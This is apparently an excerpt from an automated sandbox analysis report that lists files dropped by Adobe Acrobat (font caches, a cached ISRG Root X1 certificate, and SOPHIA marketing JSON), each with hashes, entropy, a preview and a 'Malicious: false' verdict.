SHA-512:	EB3E775A8041EC6426599799F67AD19AF5130CFAED941483A9DF4D4F97B50CA44545EB501F4C1BE023FF81F92ADB801001BB13EF39312B1689D56FE05AFB9BC9
Malicious:	false
Preview:	.... .c......K.D...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFkltAlb/ltfllXlE/HT8k40zl1NNX8RolJuRdxLlGB9lQRYwpDdt:kK5l5eT8yJ7NMa8RdWBwRd
MD5:	BB53E344745C0F54C5C316C112A710ED
SHA1:	A4858099F529F150FCD30713E9D7D9B24A8E5F50
SHA-256:	CF7F93B9E8465F98AEA7B0728B0A35A28264987D1B11382A44D7D0EF755422F5
SHA-512:	41BA65528EFE74A5DF8ABE9D53062F0A03644787FDD733EDEC8250FFF78218939A613B19BCBAB4A69FA432354468D5FC2B54D913D6865D87A6FA288958396522
Malicious:	false
Preview:	p...... ........^%@..c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1772

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1772

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.377030486160388
Encrypted:	false
SSDEEP:	6:YEQXJ2HXu+8NOHdVoZcg1vRcR0YCVgeoAvJM3g98kUwPeUkwRe9:YvXKXu+rHkZc0v3GGMbLUkee9
MD5:	73FB5C4D9A1E7BB48847E788C567540F
SHA1:	294812D11C28541D6D355139F193037B1FBA3FA2
SHA-256:	9B93847B46429D2A93F1171F85EFBC8881A982880CBD218BFE49EA7FDF233D52
SHA-512:	C9B82F154039728624451AE619B81B0E61B2BD10DF9C9719C32981D06DA5D6E8D83DEF4ADF5099877A3DF32BD0F71914722D61A56487354414657A720698FC81
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3b8ba720-1f48-4746-b443-d4e03721e823","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736738511072,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.328110388017868
Encrypted:	false
SSDEEP:	6:YEQXJ2HXu+8NOHdVoZcg1vRcR0YCVgeoAvJfBoTfXpnrPeUkwRe9:YvXKXu+rHkZc0v3GGWTfXcUkee9
MD5:	3CC8533901F02DB257C77BE4DCCC90DF
SHA1:	9D9502DC9F5CA8C9E2D0DEC81590904BD4EDF0BF
SHA-256:	26A14AE5BEDDA2B9E74E1B85BB6AED4479B5C5563098B02C548E096AE1F8F186
SHA-512:	8967F61C21D0BFAEFE8E7F13051194529D19A084DE4A50698256CD4089172A7472AA0428AB6F5DBA426BFC2C516E903E4152C68971C1F7F98CA85FB493663063
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3b8ba720-1f48-4746-b443-d4e03721e823","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736738511072,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.307596957155271
Encrypted:	false
SSDEEP:	6:YEQXJ2HXu+8NOHdVoZcg1vRcR0YCVgeoAvJfBD2G6UpnrPeUkwRe9:YvXKXu+rHkZc0v3GGR22cUkee9
MD5:	6A6994BCAF43229651DF2DC7C66E7E86
SHA1:	EA9E414660F8E58E5C21333AF9F630EA47287272
SHA-256:	F7A5763AE413782BD1B91BF177CC86E5BB8C23D33040B18831A7FE3C5B1E1379
SHA-512:	2E6F6F851D0D34EE8C63A1312FFE889E16D19AD2405B46986D171F51B70B429216597012A685C2585681C67FBC33D7A5C96507CE43807583CF7B9EB11F29421B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3b8ba720-1f48-4746-b443-d4e03721e823","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736738511072,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.364520539718467
Encrypted:	false
SSDEEP:	6:YEQXJ2HXu+8NOHdVoZcg1vRcR0YCVgeoAvJfPmwrPeUkwRe9:YvXKXu+rHkZc0v3GGH56Ukee9
MD5:	2BB9A79971965E5D9B81BA4528C9D0FE
SHA1:	FBD5ACBE12952B9A88D5C60598405CC949A84560
SHA-256:	CB691515B7DC8D415889148698486B9549778123893470619580862AE75459B0
SHA-512:	23215FF4F15082DAD5F09E175B05E8761C4086529E03A5F5375C6455E1EB804DC81F6A7F66112C1FEB3AE2FEDDEE9F004B45BB08F4820B2410BF5AD9B60B2C78
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3b8ba720-1f48-4746-b443-d4e03721e823","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736738511072,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.695216087715619
Encrypted:	false
SSDEEP:	24:Yv6X9rEzvDpLgE9cQx8LennAvzBvkn0RCmK8czOCCS+:Yvhbhgy6SAFv5Ah8cv/+
MD5:	A12D610C1849310721FB19C7DC64347B
SHA1:	6D77D1F63BFB2BEDEDA90B92AE1F61DF13D46B95
SHA-256:	21449532DD0AC421398D30D8C882ACBB325FABAEB224C0DCC3BF6957E44C4A0E
SHA-512:	44D99E22BC30120125FEF5C478D69F4A789867DCB50CD3A738264CF78517B50310F453649557E0B57AD114F9C87160979DE619F37B0F6D51073D9410DBFC180F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3b8ba720-1f48-4746-b443-d4e03721e823","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736738511072,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.313034562444309
Encrypted:	false
SSDEEP:	6:YEQXJ2HXu+8NOHdVoZcg1vRcR0YCVgeoAvJf8dPeUkwRe9:YvXKXu+rHkZc0v3GGU8Ukee9
MD5:	3A4549C047FACB7605258071A415212E
SHA1:	00116B1483E564FE2DAEFFFCCA3A73EB781B8E34
SHA-256:	6382435E0AB2C426A0B3B7A7395053C65AAF0A20C1B3AA09DBE0C104EC20F282
SHA-512:	B92152BFD083F5115CBBE62E77687D9C9136CD43E5B1596E7CF553FBAC91084098AB153B95045B296748B78D1A821B0AEF42458F143855C11B524244E773324E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3b8ba720-1f48-4746-b443-d4e03721e823","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736738511072,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.316492283949751
Encrypted:	false
SSDEEP:	6:YEQXJ2HXu+8NOHdVoZcg1vRcR0YCVgeoAvJfQ1rPeUkwRe9:YvXKXu+rHkZc0v3GGY16Ukee9
MD5:	180A344DB351E070B9B88A3735F98EE0
SHA1:	E40F25E5D590D8F786E7CB8720E8E28428C5112D
SHA-256:	C36433AADCD29EE45DCCA607C89F9CD345A882E958D68B5DADC292D95BFC094B
SHA-512:	70BCC19CA60EBE87237291BC8CCF46ECAC60F78034ED379C1C4855F6F6141F5367EED9CB1DA8547D4CD0161044DF7B9CEE2ADC95FFFBE5026F5860451108D2C5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3b8ba720-1f48-4746-b443-d4e03721e823","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736738511072,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.322286962115205
Encrypted:	false
SSDEEP:	6:YEQXJ2HXu+8NOHdVoZcg1vRcR0YCVgeoAvJfFldPeUkwRe9:YvXKXu+rHkZc0v3GGz8Ukee9
MD5:	8750BEB9C2CB4E06FB4C726A681B01A4
SHA1:	213A4858579F794FE766FAD9052D73075C0DF9C8
SHA-256:	C1169A66FAAF7B416A2ABA4BB9BFDBEF715E2AA467B729B7AFFFE24CFEAA8676
SHA-512:	1A5D0CD741633F2C642E37C36710ED0C6230C8A98915DEA48630455B32EA5C8F55D2C69E1C01D12D3BF248B0393F7F99C70A4AB2D139B453DEE2726AFD7D52F3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3b8ba720-1f48-4746-b443-d4e03721e823","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736738511072,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.337542057502249
Encrypted:	false
SSDEEP:	6:YEQXJ2HXu+8NOHdVoZcg1vRcR0YCVgeoAvJfzdPeUkwRe9:YvXKXu+rHkZc0v3GGb8Ukee9
MD5:	557D8131B1803BCA5591AFD7A425A2C7
SHA1:	6C3520F0D30E180DFFCA50F9E034C22AFF5F5924
SHA-256:	F5E83C89B7EE2C13280B8C569D1BC6B594B3915BDD5D43F5B25402626A746245
SHA-512:	6EC50CF0A2F11A6F4007967CFD42BE2864FFF37488814EE92A0E1A2B026F9741B0832685F95B0A9F7E4443F324218629F2C3AABAA80F5C187DA62D845CCEE646
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3b8ba720-1f48-4746-b443-d4e03721e823","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736738511072,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.318269389189612
Encrypted:	false
SSDEEP:	6:YEQXJ2HXu+8NOHdVoZcg1vRcR0YCVgeoAvJfYdPeUkwRe9:YvXKXu+rHkZc0v3GGg8Ukee9
MD5:	BCCF4256F1CF2E8DAE45CEE1E9BCA71B
SHA1:	F3FFB2F9741C774E60635AAB2CA7E70EFA3AD0DC
SHA-256:	EE8C0D5CED4DAFB5497A7F389B12A765D71D898F9F564BFCD533CB20C413E0BF
SHA-512:	A7C0F6879E2FCF19A70E005B8772F2564571DCD8801142332D34CDCC0ABD6FE92957DBC1F1391925A88E193D7A14163C6A36B6D9FE70624FB76237B5640F46E1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3b8ba720-1f48-4746-b443-d4e03721e823","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736738511072,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.304940397115999
Encrypted:	false
SSDEEP:	6:YEQXJ2HXu+8NOHdVoZcg1vRcR0YCVgeoAvJf+dPeUkwRe9:YvXKXu+rHkZc0v3GG28Ukee9
MD5:	3BA2D61C0120D7C90818B2C69A7D5518
SHA1:	9181AFE47EBD11AD55E977DCD70B0DF91109DE67
SHA-256:	0BC37AA9A6E69BD1A4FC6483249DED0CECA583B970D0BDF3F54D3C8F8B0FB4E5
SHA-512:	320A38467017254E72DB3A4B1FD55DB9000EDBC03F84689B591338ACDB3018FECB84505A479FA37761C42C2CF86648FAF8961B05886BD3284D06D3002FBA3646
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3b8ba720-1f48-4746-b443-d4e03721e823","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736738511072,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.301690924051175
Encrypted:	false
SSDEEP:	6:YEQXJ2HXu+8NOHdVoZcg1vRcR0YCVgeoAvJfbPtdPeUkwRe9:YvXKXu+rHkZc0v3GGDV8Ukee9
MD5:	3E083CED072E79B372613747953E8899
SHA1:	1E19FF61AC894F9E2CBE529E3B8CAD17CF2D4857
SHA-256:	6026E27F6EED71FC7C17939B0636879058294C30528C3B643A0420F38C78B1B8
